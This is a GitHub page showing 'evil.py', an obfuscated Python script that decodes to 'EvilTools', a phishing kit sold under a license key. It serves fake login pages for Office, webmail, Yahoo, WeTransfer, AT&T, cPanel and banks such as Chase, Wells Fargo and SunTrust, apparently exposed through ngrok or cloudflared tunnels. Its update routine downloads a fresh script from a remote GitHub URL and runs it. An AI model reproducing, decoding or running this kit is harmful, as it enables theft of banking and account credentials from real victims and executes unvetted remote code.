-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathevil.py
8 lines (8 loc) · 32.7 KB
/
evil.py
1
2
3
4
5
6
7
8
import base64, codecs
magic = 'IyAtKi0gY29kaW5nOiBVVEYtOCAtKi0KIyBUb29sICAgIDogRXZpbFRvb2xzCiMgVmVyc2lvbiA6IDEuNyBCZXRhIDAxCiMgQXV0aG9yICA6IEV2aWwKIyBHaXRodWIgIDogCiMgRGlzY29yZCA6IEV2aWwjMjkwOQojIFB5UGhpc2hlciBpcyBhIHBoaXNoaW5nIHRvb2wgaW4gcHl0aG9uCiMgRmFjZWJvb2sgUGhpc2hpbmcsIEdpdGh1YiBQaGlzaGluZywgSW5zdGFncmFtIFBoaXNoaW5nIGFuZCA0MCsgb3RoZXIgc2l0ZXMgYXZhaWxhYmxlCiMgUG9ydGFibGUgZmlsZS9zY3JpcHQKIyBJZiB5b3UgY29weSBvcGVuIHNvdXJjZSBjb2RlLCBjb25zaWRlciBnaXZpbmcgY3JlZGl0CgoiIiIKCiIiIgoKaW1wb3J0IG9zLCBzeXMsIHRpbWUsIHNvY2tldCwganNvbgpmcm9tIG9zIGltcG9ydCBwb3Blbiwgc3lzdGVtCmZyb20gdGltZSBpbXBvcnQgc2xlZXAKZnJvbSBrZXkgaW1wb3J0ICoKZnJvbSBsaWNlbnNpbmcubW9kZWxzIGltcG9ydCoKZnJvbSBsaWNlbnNpbmcubWV0aG9kcyBpbXBvcnQgS2V5LCBIZWxwZXJzCgpwcmludCgpCgpSU0FQdWJLZXkgPSAiPFJTQUtleVZhbHVlPjxNb2R1bHVzPmo5K1ZxbmRld1Y4Ry9aQklOTCtGbkljc055dVV1NEt2K3pBNXpyQUREUjJDbU1FN3JhTXMzTWsvTVg1SXA2WHowMWZJdFNUakVLcS9mY1VtdXBaaUV0a2lvZk43Mms1SVBJQXdIN0k4MzBHVlRQSkw1NmVXaHpEWFVvYjdYbkhRZC9seFF0M1hoV3pkVEZRakF3ZVpBd3RnNXdWN01zR2NobDZiRWFxOGlPcEhNY0htSlZIT3NHMEd6bjB4cjRrNzVzWHZ0S3hITVVnNm4wcXZubHo3WkN2Z2xGSXBSdlVGU2gvUExRVHUrWG5yamxBVklwWmFPNlZTeVFtS3JIQ1dtMlM4SnpzQ0EvUk04RFYrMS9SZTJMZ1NKWGg0OWJFVndzMEZHbkZCbFpJQWtoK2tMdXg2Q1pqWG92c1FTenRFbWZkTWZ5Y2FRanExeWJLSjBEOGxhUT09PC9Nb2R1bHVzPjxFeHBvbmVudD5BUUFCPC9FeHBvbmVudD48L1JTQUtleVZhbHVlPiIKYXV0aCA9ICJXeUl4TnpFeE1EZ3pPQ0lzSWs1VVVqSldTbXNyUmxwblpsVjFRVzUxYjBkWFV6aG9abVZxVmpKQ1NtaGxRaXR4WVc0MFltZ2lYUT09IgoKZGVmIEF1dGhLZXkoKToKICByZXN1bHQgPSBLZXkuYWN0aXZhdGUodG9rZW49YXV0aCwKICAgIHJzYV9wdWJfa2V5PVJTQVB1YktleSwKICAgIHByb2R1Y3RfaWQ9MTQ5MjQsCiAgICBrZXk9a2V5LAogICAgbWFjaGluZV9jb2RlPUhlbHBlcnMuR2V0TWFjaGluZUNvZGUoKSkKCiAgaWYgcmVzdWx0WzBdID09IE5vbmUgb3Igbm90IEhlbHBlcnMuSXNPblJpZ2h0TWFjaGluZShyZXN1bHRbMF0pOgogICAgcHJpbnQoIkVycm9yID0+IEludmFsaWQgTGljZW5zZSBvciB7fSIuZm9ybWF0KHJlc3VsdFsxXSkpCiAgICBwcmludCgiQ29udGFjdCBNZSBPbiBGb3IgQ29tcGxhaW4uIikKICAgIHByaW50KCkKICAgIHByaW50KCIgICAgIFtEaXNjb3JkXTogIEV2aWwjMjkwOSIpCiAgICBwcmludCgiICAgIFtUZWxlZ3JhbV06ICBAT2ZmaWNpYWxFdmlsVG9vbHMiKQogICAgcHJpbnQoKQogICAgcHJpbnQoKQoKICBpZiByZXN1bHRbMV0gPT0gTm9uZSBvciBub3QgSGVscGVycy5Jc09uUmlnaHRNYWNoaW5lKHJlc3VsdFswXSk6CiAgICBwcmludChmb3JtYXQocmVzdWx0WzFdKSkKCiAgZWxzZToKICAgIGxpY2Vuc2Vfa2V5ID0gcmVzdWx0WzBdCiAgICBwcmludCgiVmFsaWQgTGljZW5zZSAmIEV4cGlyZXM6ICIgKyBzdHIobGljZW5zZV9rZXkuZXhwaXJlcykpCgpBdXRoS2V5KCkKCgojIE5vcm1hbApibGFjaz0iXDAzM1swOzMwbSIKcmVkPSJcMDMzWzA7MzFtIgpncmVlbj0iXDAzM1swOzMybSIKYmdyZWVuPSJcMDMzWzE7MzJtIgp5ZWxsb3c9IlwwMzNbMDszM20iCmJsdWU9IlwwMzNbMDszNG0iCnB1cnBsZT0iXDAzM1swOzM1bSIKY3lhbj0iXDAzM1swOzM2bSIKYmN5YW49IlwwMzNbMTszNm0iCndoaXRlPSJcMDMzWzA7MzdtIgpuYz0iXDAzM1swMG0iCgp2ZXJzaW9uPSIxLjcuMSIKCmFzayA9IGdyZWVuICsgJ1snICsgd2hpdGUgKyAnPycgKyBncmVlbiArICddICcrIHllbGxvdwpzdWNjZXNzID0geWVsbG93ICsgJ1snICsgd2hpdGUgKyAn4oiaJyArIHllbGxvdyArICddICcrZ3JlZW4KZXJyb3IgPSBibHVlICsgJ1snICsgd2hpdGUgKyAnIScgKyBibHVlICsgJ10gJytyZWQKaW5mbz0geWVsbG93ICsgJ1snICsgd2hpdGUgKyAnKycgKyB5ZWxsb3cgKyAnXSAnKyBjeWFuCmluZm8yPSBncmVlbiArICdbJyArIHdoaXRlICsgJ+KAoicgKyBncmVlbiArICddICcrIHB1cnBsZQoKcm9vdD0gcG9wZW4oImNkICRIT01FICYmIHB3ZCIpLnJlYWQoKS5zdHJpcCgpCnNvY2tldC5zZXRkZWZhdWx0dGltZW91dCgzMCkKCiMgQ2hlY2sgdGVybXV4CmlmIG9zLnBhdGguZXhpc3RzKCIvZGF0YS9kYXRhL2NvbS50ZXJtdXgvZmlsZXMvaG9tZSIpOgogICAgdGVybXV4PVRydWUKZWxzZToKICAgIHRlcm11eD1GYWxzZQoKIyBHZXQgcGFja2FnZSBtYW5hZ2VyCmlmIHN5c3RlbSgiY29tbWFuZCAtdiBhcHQgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgYXB0PVRydWUKZWxzZToKICAgIGFwdD1GYWxzZQppZiBzeXN0ZW0oImNvbW1hbmQgLXYgYXB0LWdldCA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICBhcHRnZXQ9VHJ1ZQplbHNlOgogICAgYXB0Z2V0PUZhbHNlCmlmIHN5c3RlbSgiY29tbWFuZCAtdiBzdWRvID4gL2Rldi9udWxsIDI+JjEiKT09MDoKICAgIHN1ZG89VHJ1ZQplbHNlOgogICAgc3Vkbz1GYWxzZQppZiBzeXN0ZW0oImNvbW1hbmQgLXYgcGFjbWFuICA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICBwYWNtYW49VHJ1ZQplbHNlOgogICAgcGFjbWFuPUZhbHNlCmlmIHN5c3RlbSgiY29tbWFuZCAtdiB5dW0gPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgeXVtPVRydWUKZWxzZToKICAgIHl1bT1GYWxzZQppZiBzeXN0ZW0oImNvbW1hbmQgLXYgZG5mID4gL2Rldi9udWxsIDI+JjEiKT09MDoKICAgIGRuZj1UcnVlCmVsc2U6CiAgICBkbmY9RmFsc2UKaWYgc3lzdGVtKCJjb21tYW5kIC12IGJyZXcgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgYnJldz1UcnVlCmVsc2U6CiAgICBicmV3PUZhbHNlCmlmIHN5c3RlbSgiY29tbWFuZCAtdiBhcGsgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgYXBrPVRydWUKZWxzZToKICAgIGFwaz1GYWxzZQoKcGtncz1bICJwaHAiLCAiY3VybCIsICJ3Z2V0IiwgInVuemlwIiBdCgojIEdlbmVyYXRlZCBieSBiYW5uZXItZ2VuZXJhdG9yLgoKbG9nbz0nJycKICAgICAgICAgICAgICAgICAKCSAgICAgICAgICBfX19fICBfICBfICBfX19fICBfXyAgIAoJICAgICAgICAgKCBfX18pKCBcLyApKF8gIF8pKCAgKSAgCgkgICAgICAgICAgKV9fKSAgXCAgLyAgXykoXyAgKShfXyAKCSAgICAgICAgIChfX19fKSAgXC8gIChfX19fKShfX19fKSAgICAgICAgICAgICAgCgkgICAgIE1vc3QgQWRhbmNlIFBhZ2VzICYgY1BhbmVsIEluIE9uZQoJICAgICAgICAgCicnJwoKIyBXZWJzaXRlIGNob29zZXIKZGVmIG9wdGlvbnMoKToKICAgIHByaW50KCkKICAgIHByaW50KGdyZWVuKycnK3llbGxvdysnUEFHRVMgICAgICAgICAgICAgICAgICAgICAgJytncmVlbisnJyt5ZWxsb3crJ0JBTktTICAgICAgICAgICAgICAgICAgICAgJytncmVlbisnJyt5ZWxsb3crJ0VWSUwnKQogICAgcHJpbnQoZ3JlZW4rJ1snK3doaXRlKycwMScrZ3JlZW4rJ10nK3llbGxvdysnIE9GRklDRSAgICAgICAgICAgICAgICAnK2dyZWVuKydbJyt3aGl0ZSsnMTAnK2dyZWVuKyddJyt5ZWxsb3crJyBTVU5UUlVTVCAgICAgICAgICAgICAnK2dyZWVuKydbJyt3aGl0ZSsnOTknK2dyZWVuKyddJyt5ZWxsb3crJyBBQk9VVCcpCiAgICBwcmludChncmVlbisnWycrd2hpdGUrJzAyJytncmVlbisnXScreWVsbG93KycgV0VCTUFJTCAgICAgICAgICAgICAgICcrZ3JlZW4rJ1snK3doaXRlKycxMScrZ3JlZW4rJ10nK3llbGxvdysnIFdFTExTICAgICAgICAgICAgICAgICcrZ3JlZW4rJ1snK3doaXRlKycwMCcrZ3JlZW4rJ10nK3llbGxvdysnIEVYSVQnKQogICAgcHJpbnQoZ3JlZW4rJ1snK3doaXRlKycwMycrZ3JlZW4rJ10nK3llbGxvdysnIFlBSE9PICAgICAgICAgICAgICAgICAnK2dyZWVuKydbJyt3aGl0ZSsnMTInK2dyZWVuKyddJyt5ZWxsb3crJyBDSEFTRScpCiAgICBwcmludChncmVlbisnWycrd2hpdGUrJzA0JytncmVlbisnXScreWVsbG93KycgQ0hBTUVMRU9OJykKICAgIHByaW50KGdyZWVuKydbJyt3aGl0ZSsnMDUnK2dyZWVuKyddJyt5ZWxsb3crJyBXRVRSQU5TRkVSJykKICAgIHByaW50KGdyZWVuKydbJyt3aGl0ZSsnMDYnK2dyZWVuKyddJyt5ZWxsb3crJyBBVCZUJykKICAgIHByaW50KCkKICAgIHByaW50KCkKICAgIHByaW50KCkKCiMgUHJvY2VzcyBraWxsZXIKZGVmIGtpbGxlcigpOgogICAgaWYgc3lzdGVtKCJwaWRvZiBwaHAgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgICAgIHN5c3RlbSgia2lsbGFsbCBwaHAiKQogICAgaWYgc3lzdGVtKCJwaWRvZiBuZ3JvayA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICAgICAgc3lzdGVtKCJraWxsYWxsIG5ncm9rIikKICAgIGlmIHN5c3RlbSgicGlkb2YgY2xvdWRmbGFyZWQgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgICAgIHN5c3RlbSgia2lsbGFsbCBjbG91ZGZsYXJlZCIpCiAgICBpZiBzeXN0ZW0oInBpZG9mIGN1cmwgPiAvZGV2L251bGwgMj4mMSIpPT0wOgogICAgICAgIHN5c3RlbSgia2lsbGFsbCBjdXJsIikKICAgIGlmIHN5c3RlbSgicGlkb2Ygd2dldCA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICAgICAgc3lzdGVtKCJraWxsYWxsIHdnZXQiKQogICAgaWYgc3lzdGVtKCJwaWRvZiB1bnppcCA+IC9kZXYvbnVsbCAyPiYxIik9PTA6CiAgICAgICAgc3lzdGVtKCJraWxsYWxsIHVuemlwIikKCiMgVXBkYXRlIG9mIEV2aWwKZGVmIHVwZGF0ZSgpOgogICAgaW50ZXJuZXQoKQogICAgZ2l0X3Zlcj1wb3BlbigiY3VybCAtcyAtTiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vbGhvc3QyNS9maWxlcy9tYWluL2luZm8vdmVyc2lvbi50eHQiKS5yZWFkKCkuc3RyaXAoKQogICAgaWYgKHZlcnNpb24gIT0gZ2l0X3ZlciBhbmQgZ2l0X3ZlciAhPSAiNDA0OiBOb3QgRm91bmQiKToKICAgICAgICBjaGFuZ2Vsb2c9cG9wZW4oImN1cmwgLXMgLU4gaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2xob3N0MjUvZmlsZXMvbWFpbi9pbmZvL2NoYW5nZWxvZy5sb2ciKS5yZWFkKCkKICAgICAgICBzeXN0ZW0oImNsZWFyIikKICAgICAgICBwcmludChsb2dvKQogICAgICAgIHByaW50KGYie2luZm99RXZpbFRvb2xzIGhhcyBhIG5ldyB1cGRhdGUhXG57aW5mbzJ9Q3VycmVudDoge3JlZH17dmVyc2lvbn1cbntpbmZvfUF2YWlsYWJsZToge2dyZWVufXtnaXRfdmVyfVxuIikKICAgICAgICB1cGFzaz1pbnB1dChhc2srIkRvIHlvdSB3YW50IHRvIHVwZGF0ZSBFdmlsVG9vbHM/W1kvbl0gPiAiK2dyZWVuKQogICAgICAgIGlmIHVwYXNrPT0ieSI6CiAgICAgICAgICAgIHByaW50KG5jKQogICAgICAgICAgICBzeXN0ZW0oInN1ZG8gcm0gLXIgZXZpbC5weSAmJiB3Z2V0IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9saG9zdDI1L3VwZGF0ZS9tYWluL2V2aWwucHkgJiYgcHl0aG9uMyBldmlsLnB5IikKICAgICAgICAgICAgc3ByaW50KCJcbiIrc3VjY2VzcysiRXZpbFRvb2xzIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5ISEgUGxlYXNlIHJlc3RhcnQgdGVybWluYWwhXG4iKQogICAgICAgICAgICBpZiAoY2hhbmdlbG9nICE9ICI0MDQ6IE5vdCBGb3VuZCIpOgogICAgICAgICAgICAgICAgcHJpbnQoaW5mbzIrIkNoYW5nZWxvZzpcbiIrcHVycGxlK2NoYW5nZWxvZykKICAgICAgICAgICAgZXhpdCgpCiAgICAgICAgZWxpZiB1cGFzaz09Im4iOgogICAgICAgICAgICBwcmludCgiXG4iK2luZm8rIlVwZGF0aW5nIGNhbmNlbGxlZC4gVXNpbmcgb2xkIHZlcnNpb24hIikKICAgICAgICAgICAgc2xlZXAoMikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiXG4iK2Vycm9yKyJXcm9uZyBpbnB1dCFcbiIpCiAgICAgICAgICAgIHNsZWVwKDIpCgojIFByaW50IGxvZ28KZGVmIHNsb3dwcmludChuKToKICAgIGZvciB3b3JkIGluIG4gKyAnXG4nOgogICAgICAgIHN5cy5zdGRvdXQud3JpdGUod29yZCkKICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKICAgICAgICB0aW1lLnNsZWVwKDAuMDEpCgojIFByaW50IGxpbmVzCmRlZiBzcHJpbnQobik6CiAgICBmb3Igd29yZCBpb'
love = 'vOhVPftW1khWmbXVPNtVPNtVPOmrKZhp3Exo3I0YaqlnKEyXUqipzDcPvNtVPNtVPNtp3ymYaA0MT91qP5zoUImnPtcPvNtVPNtVPNtqTygMF5moTIypPtjYwN1XDbXVlOWoaEypz5yqPOQnTIwn2IlPzEyMvOcoaEypz5yqPubo3A0CFV4YwthBP44VvjtpT9lqQ01ZljtqTygMJ91qQ01XGbXVPNtVUElrGbXVPNtVPNtVPOmo2AeMKDhp2I0MTIzLKIfqUEcoJIiqKDbqTygMJ91qPxXVPNtVPNtVPOmo2AeMKDhp29wn2I0XUAiL2gyqP5OEy9WGxIHYPOmo2AeMKDhH09QF19GISWSDH0cYzAioz5yL3DbXTuip3DfVUOipaDcXDbtVPNtMKuwMKO0VUAiL2gyqP5ypaWipwbXVPNtVPNtVPOjpzyhqPuypaWipvfvGz8tnJ50MKWhMKDuVvxXVPNtVPNtVPO0nJ1yYaAfMJIjXQVcPvNtVPNtVPNtnJ50MKWhMKDbXDbXVlOWoaA0LJkfVUOuL2guM2ImVTyhVSEypz11rPOuozDtGJSwPzEyMvOcoaA0LJkfMKVbpT0cBtbtVPNtMz9lVUOeMlOcovOlLJ5aMFtjYPOfMJ4bpTgaplxcBtbtVPNtVPNtVTyzVUA5p3EyoFtvL29goJShMPNgqvNvX3OeM3AopTgaKFfvVQ4tY2Eyqv9hqJkfVQV+WwRvXFR9ZQbXVPNtVPNtVPNtVPNtp3OlnJ50XPWpovVenJ5zolfvFJ5mqTSfoTyhMlNvX3OeM3AopTgaKF51pUOypvtcX25wXDbtVPNtVPNtVPNtVPOmrKA0MJ0bpT0eVvOcoaA0LJkfVP15VPVepTgap1gjn2qqXDbXVlOWoaA0LJkfVUOuL2guM2ImVTyhVRkcoaI4PzEyMvOmqJEinJ5mqTSfoTIlXUOgXGbXVPNtVTMipvOjn2ptnJ4tpzShM2HbZPjtoTIhXUOeM3ZcXGbXVPNtVPNtVPOcMvOmrKA0MJ0bVzAioJ1uozDtYKLtVvgjn2qmJ3OeM10eVvN+VP9xMKLioaIfoPNlCvLkVvxuCGN6PvNtVPNtVPNtVPNtVUAjpzyhqPucozMiXlWWoaA0LJkfnJ5aVPVepTgap1gjn2qqYaIjpTIlXPxeozZcPvNtVPNtVPNtVPNtVUA5p3EyoFtvp3IxolNvX3OgXlVtnJ5mqTSfoPNgrFNvX3OeM3AopTgaKFxXPtbwVRSmnlO0olOgLKAeVUIloNcxMJLtL3Iup2fbqKWfXGbXVPNtVTA1p3D9VTyhpUI0XPWpovVeLKAeX2WwrJShXlWKLJ5hLFO0paxtL3ImqT9gVRkWGxf/VPuDpzImplOMVT9lVSOlMKAmVTIhqTIlVUEiVUAenKNcVQ0+VPVcPvNtVPOcMvOho3DtL3ImqQ09VvV6PvNtVPNtVPNtoJSmn2yhMlu1pzjcPvNtVPO3LJy0MKVbXDbXVlOWozMiVTSvo3I0VUEio2jXMTIzVTSvo3I0XPx6PvNtVPOmrKA0MJ0bVzAfMJSlVvxXVPNtVUAfo3qjpzyhqPufo2qiXDbtVPNtpUWcoaDbpzIxXlqoIT9ioR5uoJIqVPNaX2A5LJ4eWlN6J0I2nJkHo29fp10tWlxXVPNtVUOlnJ50XUWyMPfaJ1MypaAco25qVPNtWlgwrJShXlptByfkYwptDzI0LFNjZI0aXDbtVPNtpUWcoaDbpzIxXlqoDKI0nT9lKFNtVPNaX2A5LJ4eWlN6J0I2nJkqVPpcPvNtVPOjpzyhqPulMJDeW1gHMJkyKFNtVPNtVPpeL3yuovfaVQcoDR9zMzywnJSfEKMcoSEio2kmKFNaXDbtVPNtpUWcoaDbpzIxXlqoETymL29lMS0tVPNaX2A5LJ4eWlN6J0I2nJjwZwxjBI0aXDbtVPNtpUWcoaDbpzIxXlqoEJ1unJkqVPNtVPNaX2A5LJ4eWlN6J2I2nJk0o29fp2kbo3A0DTqgLJyfYzAioI0aXDbtVPNtpUWcoaDbXDbtVPNtpUWcoaDbM3WyMJ4eW1faX3qbnKEyXlpjWlgapzIyovfaKFperJIfoT93XlptEKucqPNtVPNtVPNtVPNtVPNtVPNtVPNtVPpeVPNtVPOapzIyovfaJlpeq2ucqTHeWmx5WlgapzIyovfaKFperJIfoT93XlptVR1unJ4tGJIhqFNtVPNtVPNaXDbtVPNtpUWcoaDbXDbtVPNtLJWiqQ0tnJ5jqKDbVykhVQ0+VPVcPvNtVPOcMvOuLz90CG0tVwNvBtbtVPNtVPNtVTI4nKDbXDbtVPNtMJkmMGbXVPNtVPNtVPOgLJyhXPxXPvZtEzylp3DtMaIhL3Eco24toJScotcxMJLtoJScovtcBtbtVPNtnJ50MKWhMKDbXDbtVPNtnJLtqTIloKI4BtbtVPNtVPNtVTyzVUA5p3EyoFtvL29goJShMPNgqvOjpz9iqPN+VP9xMKLioaIfoPNlCvLkVvxuCGN6PvNtVPNtVPNtVPNtVUA5p3EyoFtvpTgaVTyhp3EuoTjtpUWio3DtYKxvXDbtVPNtnJLtIUW1MGbXVPNtVPNtVPOcMvOmqJEiVTShMPOupUD6PvNtVPNtVPNtVPNtVUA1MT9coaA0LJkfMKVbVzSjqPVcPvNtVPNtVPNtMJkcMvOmqJEiVTShMPOupTf6PvNtVPNtVPNtVPNtVUA1MT9coaA0LJkfMKVbVzSjnlVcPvNtVPNtVPNtMJkcMvOmqJEiVTShMPO5qJ06PvNtVPNtVPNtVPNtVUA1MT9coaA0LJkfMKVbVay1oFVcPvNtVPNtVPNtMJkcMvOmqJEiVTShMPOxozL6PvNtVPNtVPNtVPNtVUA1MT9coaA0LJkfMKVbVzEhMvVcPvNtVPNtVPNtMJkcMvOmqJEiVTShMPOupUEaMKD6PvNtVPNtVPNtVPNtVUA1MT9coaA0LJkfMKVbVzSjqP1aMKDvXDbtVPNtVPNtVTIfnJLtp3IxolOuozDtpTSwoJShBtbtVPNtVPNtVPNtVPOzo3VtpTgaVTyhVUWuozqyXQNfVTkyovujn2qmXFx6PvNtVPNtVPNtVPNtVPNtVPOcMvOmrKA0MJ0bVzAioJ1uozDtYKLtVvgjn2qmJ3OeM10eVvN+VP9xMKLioaIfoPNlCvLkVvxuCGN6PvNtVPNtVPNtVPNtVPNtVPNtVPNtp3OlnJ50XPWpovVenJ5zolfvFJ5mqTSfoTyhMlNvX3OeM3AopTgaKF51pUOypvtcX25wXDbtVPNtVPNtVPNtVPNtVPNtVPNtVUA5p3EyoFtvp3IxolOjLJAgLJ4tYIZtVvgjn2qmJ3OeM10eVvNgYJ5iL29hMzyloFVcPvNtVPNtVPNtMJkcMvOvpzI3BtbtVPNtVPNtVPNtVPOcoaA0LJkfMKVbVzWlMKpvXDbtVPNtVPNtVTIfnJLtLKO0BtbtVPNtVPNtVPNtVPOcoaA0LJkfMKVbVzSjqPVcPvNtVPNtVPNtMJkmMGbXVPNtVPNtVPNtVPNtp3OlnJ50XPWpovVeMKWlo3VeVyIhp3IjpT9lqTIxVUOuL2guM2HtoJShLJqypv4tFJ5mqTSfoPOjLJAeLJqyplOgLJ51LJkfrFRvX25wXDbtVPNtVPNtVPNtVPOyrTy0XQRcPvNtVPOcMvOmrKA0MJ0bVzAioJ1uozDtYKLtpTujVQ4tY2Eyqv9hqJkfVQV+WwRvXFR9ZQbXVPNtVPNtVPOmpUWcoaDbMKWlo3VeVyOVHPOwLJ5ho3DtLzHtnJ5mqTSfoTIxYvOWoaA0LJkfVTy0VT1uoaIuoTk5VFVcPvNtVPNtVPNtMKucqPtkXDbtVPNtnJLtp3ymqTIgXPWwo21gLJ5xVP12VUIhrzyjVQ4tY2Eyqv9hqJkfVQV+WwRvXFR9ZQbXVPNtVPNtVPOmpUWcoaDbMKWlo3VeVyIhrzyjVTAuoz5iqPOvMFOcoaA0LJkfMJDhVRyhp3EuoTjtnKDtoJShqJSfoUxuVvxXVPNtVPNtVPOyrTy0XQRcPvNtVPOcMvOmrKA0MJ0bVzAioJ1uozDtYKLtL3IloPN+VP9xMKLioaIfoPNlCvLkVvxuCGN6PvNtVPNtVPNtp3OlnJ50XTIlpz9lXlWQqKWfVTAuoz5iqPOvMFOcoaA0LJkfMJDhVRyhp3EuoTjtnKDtoJShqJSfoUxuVvxXVPNtVPNtVPOyrTy0XQRcPvNtVPOenJkfMKVbXDbtVPNtrQ1jo3OyovtvqJ5uoJHtYJ0vXF5lMJSxXPxXVPNtVUx9pT9jMJ4bVaIhLJ1yVvxhpzIuMPtcPvNtVPOcMvOho3Dto3ZhpTS0nP5cp2McoTHbpz9iqPfvYl5hM3Win2MioTEypv9hM3WinlVcBtbtVPNtVPNtVUAjpzyhqPtvKT4vX2yhMz8eVxEiq25fo2SxnJ5aVT5apz9eYv4hYv4vX25wXDbtVPNtVPNtVTyhqTIlozI0XPxXVPNtVPNtVPOmrKA0MJ0bVaWgVP1lMvOhM3Winl56nKNtozqlo2fhqTq6VvxXVPNtVPNtVPOcMvO5YzMcozDbVxkcoaI4VvxuCF0kBtbtVPNtVPNtVPNtVPOcMvO4YzMcozDbVzSupzAbAwDvXFR9YGR6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaqaMKDtYKRtYF1mnT93YKOlo2qlMKAmVTu0qUOmBv8iM2y0nUIvYzAioF9fnT9mqQV1Y2McoTImY3Wuql9gLJyhY25apz9eY25apz9eYKA0LJWfMF1fnJ51rP1upz02AP50M3btYH8tozqlo2fhqTq6VvxXVPNtVPNtVPNtVPNtVPNtVUA5p3EyoFtvqTSlVP16rTLtozqlo2fhqTq6VQ4tY2Eyqv9hqJkfVQV+WwRtWvLtpz0tYKWzVT5apz9eYaEarvVcPvNtVPNtVPNtVPNtVTIfnJLtrP5znJ5xXPWupz0vXFR9YGR6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaqaMKDtYKRtYF1mnT93YKOlo2qlMKAmVTu0qUOmBv8iM2y0nUIvYzAioF9fnT9mqQV1Y2McoTImY3Wuql9gLJyhY25apz9eY25apz9eYKA0LJWfMF1fnJ51rP1upz0hrzyjVP1CVT5apz9eYaccpPVcPvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaIhrzyjVT5apz9eYaccpPN+VP9xMKLioaIfoPNlCvLkVPVcPvNtVPNtVPNtVPNtVTIfnJLtrP5znJ5xXPW4BQMsAwDvXFR9YGR6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaqaMKDtYKRtYF1mnT93YKOlo2qlMKAmVTu0qUOmBv8iM2y0nUIvYzAioF9fnT9mqQV1Y2McoTImY3Wuql9gLJyhY25apz9eY25apz9eYKA0LJWfMF1fnJ51rP1uoJD2AP56nKNtYH8tozqlo2fhrzyjVvxXVPNtVPNtVPNtVPNtVPNtVUA5p3EyoFtvqJ56nKNtozqlo2fhrzyjVQ4tY2Eyqv9hqJkfVQV+WwRvXDbtVPNtVPNtVPNtVPOyoUAyBtbtVPNtVPNtVPNtVPNtVPNtp3ymqTIgXPW3M2I0VP1kVP0gp2uiql1jpz9apzImplObqUEjpmbiY2qcqTu1Lv5wo20ioTuip3DlAF9znJkypl9lLKpioJScov9hM3Winl9hM3Winl1mqTSvoTHgoTyhqKtgZmt2YaccpPNgGlOhM3Winl56nKNvXDbtVPNtVPNtVPNtVPNtVPNtp3ymqTIgXPW1oaccpPOhM3Winl56nKNtCvNiMTI2Y251oTjtZw4zZFVcPvNtVPNtVPNtMJkcMvO5YzMcozDbVxEupaqcovVcVG0gZGbXVPNtVPNtVPNtVPNtnJLtrP5znJ5xXPW4BQMsAwDvXFR9YGR6PvNtVPNtVPNtVPNtVPNtVPOmrKA0MJ0bVaqaMKDtYKRtYF1mnT93YKOlo2qlMKAmVPqbqUEjpmbiY2qcqTu1Lv5wo20ioTuip3DlAF9znJkypl9lLKpioJScov9hM3Winl9hM3Winl1mqTSvoTHgMTSlq2yhYJSgMQL0YaccpPptYH8tW25apz9eYaccpPpvXDbtVPNtVPNtVPNtVPNtVPNtp3ymqTIgXPW1oaccpPOhM3Winl56nKNtCvNiMTI2Y251oTjtZw4zZFVcPvNtVPNtVPNtVPNtVTIfnJLtrP5znJ5xXPWupz02APVcVG0gZGbXVPNtVPNtVPNtVPNtVPNtVUA5p3EyoFtvq2qyqPNgpFNgYKAbo3pgpUWiM3Wyp3ZtW2u0qUOmBv8iM2y0nUIvYzAioF9fnT9mqQV1Y2McoTImY3Wuql9gLJyhY25apz9eY25apz9eYKA0LJWfMF1upz02AP56nKNaVP1CVPqhM3Winl56nKNaVvxXVPNtVPNtVPNtVPNtMJkmMGbXVPNtVPNtVPNtVPNtVPNtVUOlnJ50XTLvr2Ilpz9lsHEyqzywMFOupzAbnKEyL3E1pzHtqJ5eoz93ov4tET93ozkiLJDtozqlo2ftoJShqJSfoUxuVvxXVPNtVPNtVPNtVPNtVPNtVUAfMJIjXQZcPvNtVPNtVPNtMJkmMGbXVPNtVPNtVPNtVPNtpUWcoaDbMvW7MKWlo3W9ETI2nJAyVT5iqPOmqKOjo3W0MJDuVvxXVPNtVPNtVPNtVPNtMKucqPtkXDbtVPNtVPNtVUA5p3EyoFtvpz0tYKWzVT5apz9eYaccpPNzWvOgn2EcpvNxFR9AEF8hozqlo2gzo2kxMKVvXDbtVPNtVPNtVUA5p3EyoFtvoKLtYJLtozqlo2ftWRuCGHHiYz5apz9eMz9fMTIlVvxXVPNtVPNtVPOcMvOmqJEiBtbtVPNtVPNtVPNtVPOmrKA0MJ0bVaA1MT8tL2ugo2DtX3ttWRuCGHHiYz5apz9eMz9fMTIlY25apz9eVvxXVPNtVPNtVPOyoUAyBtbtVPNtVPNtVPNtVPOmrKA0MJ0bVzAboJ9xVPg4VPEVG01SYl5hM3Win2MioTEypv9hM3WinlVcPvNtVPOcMvOho3Dto3ZhpTS0nP5cp2McoTHbpz9iqPfvYl5wMzMioTEypv9woT91MTMfLKWyMPVcBtbtVPNtVPNtVUAjpzyhqPtvKT4vX2yhMz8eVxEiq25fo2SxnJ5aVTAfo3IxMzkupzIxYv4hYv4vX25wXDbtVPNtVPNtVTyhqTIlozI0XPxXVPNtVPNtVPOmrKA0MJ0bVaWgVP1lMvOwoT91MTMfLKWyMPOwoT91MTMfLKWyMP50M3bvXDbtVPNtVPNtVTyzVUxhMzyhMPtvGTyhqKtvXFR9YGR6PvNtVPNtVPNtVPNtVTyzVUthMzyhMPtvLJSlL2t2APVcVG0gZGbXVPNtVPNtVPNtVPNt